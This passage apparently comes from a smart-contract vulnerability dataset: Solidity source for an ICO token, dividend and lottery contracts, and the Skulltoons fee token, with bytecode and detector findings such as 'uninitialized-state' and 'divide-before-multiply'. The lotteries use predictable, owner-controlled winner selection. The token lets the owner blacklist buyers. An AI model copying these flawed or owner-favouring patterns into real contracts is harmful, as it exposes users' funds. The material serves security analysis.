// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
uint perc = ((balances[from] * 1000)/tokens);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
divC.updatePaid(from,to,perc);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 500 ELG Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate && msg.value > 1000000000000000);
uint tokens;
if (now <= bonus1Ends) {
tokens = msg.value * 1000;
} else if (now <= bonus2Ends) {
tokens = msg.value * 750;
} else if (now <= bonus3Ends) {
tokens = msg.value * 625;
} else {
tokens = msg.value * 500;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
ETHinvested = ETHinvested + msg.value;
}
function buyEIT() public payable {
require(now >= startDate && now <= endDate && msg.value > 1000000000000000);
uint tokens;
if (now <= bonus1Ends) {
tokens = msg.value * 1000;
} else if (now <= bonus2Ends) {
tokens = msg.value * 750;
} else if (now <= bonus3Ends) {
tokens = msg.value * 625;
} else {
tokens = msg.value * 500;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
ETHinvested = ETHinvested + msg.value;
}
function bonusInfo() constant returns (uint,uint){
if (now <= bonus1Ends) {
return (100, (bonus1Ends - now));
} else if (now <= bonus2Ends) {
return (50, (bonus2Ends - now));
} else if (now <= bonus3Ends) {
return (25, (bonus3Ends - now));
} else {
return (0, 0);
}
}
function ICOTimer() constant returns (uint){
if (now < endDate){
return (endDate - now);
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract dividendsContract is Owned{
Ethernational dc;
mapping(address => uint) paid;
uint public totalSupply;
uint public totalPaid;
address public ICOaddress;
function ICOaddress(address _t) onlyOwner{
dc = Ethernational(_t);
ICOaddress = _t;
totalSupply = dc.totalSupply() / 1000000000000;
}
function() payable{
}
function collectDividends(address member) public returns (uint result) {
require (msg.sender == member && dc.endDate() < now);
uint Ownes = dc.balanceOf(member) / 1000000000000;
uint payout = (((address(this).balance + totalPaid)/totalSupply)*Ownes) - paid[member];
member.transfer(payout);
paid[member] = paid[member] + payout;
totalPaid = totalPaid + payout;
return payout;
}
function thisBalance() constant returns (uint){
return this.balance;
}
function updatePaid(address from, address to, uint perc) {
require (msg.sender == ICOaddress);
uint val = ((paid[from] * 1000000) / perc) / 1000;
paid[from] = paid[from] - val;
paid[to] = paid[to] + val;
}
}
contract DailyDraw is Owned{
bytes32 public number;
uint public timeLimit;
uint public ticketsSold;
struct Ticket {
address addr;
uint time;
}
mapping (uint => Ticket) Tickets;
function start(bytes32 _var1) public {
if (timeLimit<1){
timeLimit = now;
number = _var1 ;
}
}
function () payable{
uint value = (msg.value)/10000000000000000;
require (now<(timeLimit+86400));
uint i = 0;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function Play() payable{
uint value = msg.value/10000000000000000;
require (now<(timeLimit+86400));
uint i = 1;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function balances() constant returns(uint, uint time){
return (ticketsSold, (timeLimit+86400)-now);
}
function winner(uint _theNumber, bytes32 newNumber) onlyOwner payable {
require ((timeLimit+86400)<now && number == keccak256(_theNumber));
uint8 add1 = uint8 (Tickets[ticketsSold/4].addr);
uint8 add2 = uint8 (Tickets[ticketsSold/3].addr);
uint8 time1 = uint8 (Tickets[ticketsSold/2].time);
uint8 time2 = uint8 (Tickets[ticketsSold/8].time);
uint winningNumber = uint8 (((add1+add2)-(time1+time2))*_theNumber)%ticketsSold;
address winningTicket = address (Tickets[winningNumber].addr);
uint winnings = uint (address(this).balance / 20) * 19;
uint fees = uint (address(this).balance-winnings)/2;
uint dividends = uint (address(this).balance-winnings)-fees;
winningTicket.transfer(winnings);
owner.transfer(fees);
dividendsAccount.transfer(dividends);
delete ticketsSold;
timeLimit = now;
number = newNumber;
}
}
contract WeeklyDraw is Owned{
bytes32 public number;
uint public timeLimit;
uint public ticketsSold;
struct Ticket {
address addr;
uint time;
}
mapping (uint => Ticket) Tickets;
function start(bytes32 _var1) public {
if (timeLimit<1){
timeLimit = now;
number = _var1 ;
}
}
function () payable{
uint value = (msg.value)/100000000000000000;
require (now<(timeLimit+604800));
uint i = 0;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function Play() payable{
uint value = msg.value/100000000000000000;
require (now<(timeLimit+604800));
uint i = 1;
while (i++ < value) {
uint TicketNumber = ticketsSold + i;
Tickets[TicketNumber].addr = msg.sender;
Tickets[TicketNumber].time = now;
}
ticketsSold = ticketsSold + value;
}
function balances() constant returns(uint, uint time){
return (ticketsSold, (timeLimit+604800)-now);
}
function winner(uint _theNumber, bytes32 newNumber) onlyOwner payable {
require ((timeLimit+604800)<now && number == keccak256(_theNumber));
uint8 add1 = uint8 (Tickets[ticketsSold/4].addr);
uint8 add2 = uint8 (Tickets[ticketsSold/3].addr);
uint8 time1 = uint8 (Tickets[ticketsSold/2].time);
uint8 time2 = uint8 (Tickets[ticketsSold/8].time);
uint winningNumber = uint8 (((add1+add2)-(time1+time2))*_theNumber)%ticketsSold;
address winningTicket = address (Tickets[winningNumber].addr);
uint winnings = uint (address(this).balance / 20) * 19;
uint fees = uint (address(this).balance-winnings)/2;
uint dividends = uint (address(this).balance-winnings)-fees;
winningTicket.transfer(winnings);
owner.transfer(fees);
dividendsAccount.transfer(dividends);
delete ticketsSold;
timeLimit = now;
number = newNumber;
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063015a18ed146101935780630e2dce69146101c457806332c716b6146101ce5780634dc5c7711461021157806379ba5097146102685780637bb98a681461027f5780638381f58a146102b15780638da5cb5b146102e45780638f15024f1461033b5780639cefa50b14610366578063c08d1fe514610394578063d4ee1d90146103bf578063f2fde38b14610416575b6000806000662386f26fc10000348115156100dc57fe5b0492506201518060055401421015156100f457600080fd5b600091505b828280600101935010156101835781600654019050336007600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260076000838152602001908152602001600020600101819055506100f9565b8260065401600681905550505050005b34801561019f57600080fd5b506101c26004803603810190808035600019169060200190929190505050610459565b005b6101cc61047a565b005b3480156101da57600080fd5b5061020f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610548565b005b34801561021d57600080fd5b50610226610628565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027457600080fd5b5061027d61064e565b005b34801561028b57600080fd5b506102946107ed565b604051808381526020018281526020019250505060405180910390f35b3480156102bd57600080fd5b506102c6610805565b60405180826000191660001916815260200191505060405180910390f35b3480156102f057600080fd5b506102f961080b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034757600080fd5b50610350610830565b6040518082815260200191505060405180910390f35b610392600480360381019080803590602001909291908035600019169060200190929190505050610836565b005b3480156103a057600080fd5b506103a9610bbd565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610bc3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042257600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be9565b005b60016005541015610477574260058190555080600481600019169055505b50565b6000806000662386f26fc100003481151561049157fe5b0492506201518060055401421015156104a957600080fd5b600191505b828280600101935010156105385781600654019050336007600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260076000838152602001908152602001600020600101819055506104ae565b8260065401600681905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a357600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106aa57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060065442620151806005540103915091509091565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b60008060008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089f57600080fd5b4262015180600554011080156108d357508a6040518082815260200191505060405180910390206000191660045460001916145b15156108de57600080fd5b6007600060046006548115156108f057fe5b04815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16985060076000600360065481151561093757fe5b04815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16975060076000600260065481151561097e57fe5b0481526020019081526020016000206001015496506007600060086006548115156109a557fe5b0481526020019081526020016000206001015495506006548b8789018a8c010360ff160260ff168115156109d557fe5b0694506007600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350601360143073ffffffffffffffffffffffffffffffffffffffff1631811515610a3657fe5b040292506002833073ffffffffffffffffffffffffffffffffffffffff163103811515610a5f57fe5b04915081833073ffffffffffffffffffffffffffffffffffffffff1631030390508373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610ac6573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610b2e573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b97573d6000803e3d6000fd5b506006600090554260058190555089600481600019169055505050505050505050505050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582066d6bd08f3d95395e4ccc6afbddf9d2586b440cf59c535ba482f6f5d6876a9fe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,701 |
0x1cedc86ab60eb66a39d89fe45e8583a25958af72
|
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
// SPDX-License-Identifier: Unlicensed
// Website: https://www.skulltoons.io/
// Twitter: https://twitter.com/SkulltoonsNFT
// Discord: https://discord.com/invite/skulltoons
// Opensea: https://opensea.io/collection/skulltoonsbytheodoru
/*
..:::::::::..
..:::aad8888888baa:::..
.::::d:?88888888888?::8b::::.
.:::d8888:?88888888??a888888b:::.
.:::d8888888a8888888aa8888888888b:::.
::::dP::::::::88888888888::::::::Yb::::
::::dP:::::::::Y888888888P:::::::::Yb::::
::::d8:::::::::::Y8888888P:::::::::::8b::::
.::::88::::::::::::Y88888P::::::::::::88::::.
:::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::
:::::::Y88888888888P::|::Y88888888888P:::::::
::::::::::::::::888:::|:::888::::::::::::::::
`:::::::::::::::8888888888888b::::::::::::::'
:::::::::::::::88888888888888::::::::::::::
:::::::::::::d88888888888888:::::::::::::
::::::::::::88::88::88:::88::::::::::::
`::::::::::88::88::88:::88::::::::::'
`::::::::88::88::P::::88::::::::'
`::::::88::88:::::::88::::::'
``:::::::::::::::::::''
``:::::::::''
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SKULLTOONS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 8;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Skulltoons Coin";
string private constant _symbol = "SKULLTOONS";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 8, "not larger than 8%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fc578063cf0848f714610411578063cf9d4afa14610431578063dd62ed3e14610451578063e6ec64ec14610497578063f2fde38b146104b757600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103bc578063b515566a146103dc57600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d7565b005b34801561017e57600080fd5b5060408051808201909152600f81526e29b5bab6363a37b7b7399021b7b4b760891b60208201525b6040516101b3919061194a565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046119c4565b610523565b60405190151581526020016101b3565b3480156101f857600080fd5b50678ac7230489e800005b6040519081526020016101b3565b34801561021d57600080fd5b506101dc61022c3660046119f0565b61053a565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b50610170610260366004611a47565b6105a3565b34801561027157600080fd5b506101dc610280366004611b0c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611b0c565b610639565b3480156102ca57600080fd5b50610170610687565b3480156102df57600080fd5b506101dc6102ee366004611b0c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611b0c565b6106c1565b34801561033857600080fd5b506101706106e3565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037557600080fd5b50610170610384366004611b0c565b610719565b34801561039557600080fd5b5060408051808201909152600a815269534b554c4c544f4f4e5360b01b60208201526101a6565b3480156103c857600080fd5b506101dc6103d73660046119c4565b610793565b3480156103e857600080fd5b506101706103f7366004611a47565b6107a0565b34801561040857600080fd5b506101706108b9565b34801561041d57600080fd5b5061017061042c366004611b0c565b610971565b34801561043d57600080fd5b5061017061044c366004611b0c565b6109bc565b34801561045d57600080fd5b5061020361046c366004611b29565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a357600080fd5b506101706104b2366004611b62565b610c17565b3480156104c357600080fd5b506101706104d2366004611b0c565b610c8c565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260040161050190611b7b565b60405180910390fd5b6000610515306106c1565b905061052081610d24565b50565b6000610530338484610e9e565b5060015b92915050565b6000610547848484610fc2565b610599843361059485604051806060016040528060288152602001611cf6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611403565b610e9e565b5060019392505050565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161050190611b7b565b60005b8151811015610635576000600560008484815181106105f1576105f1611bb0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611bdc565b9150506105d0565b5050565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161050190611b7b565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610635573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105349061143d565b6000546001600160a01b0316331461070d5760405162461bcd60e51b815260040161050190611b7b565b61071760006114c1565b565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161050190611b7b565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610530338484610fc2565b6000546001600160a01b031633146107ca5760405162461bcd60e51b815260040161050190611b7b565b60005b815181101561063557600c5482516001600160a01b03909116908390839081106107f9576107f9611bb0565b60200260200101516001600160a01b03161415801561084a5750600b5482516001600160a01b039091169083908390811061083657610836611bb0565b60200260200101516001600160a01b031614155b156108a75760016005600084848151811061086757610867611bb0565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b181611bdc565b9150506107cd565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161050190611b7b565b600c54600160a01b900460ff166109475760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610501565b600c805460ff60b81b1916600160b81b17905542600d81905561096c9061012c611bf7565b600e55565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161050190611b7b565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e65760405162461bcd60e51b815260040161050190611b7b565b600c54600160a01b900460ff1615610a4e5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610501565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac99190611c0f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190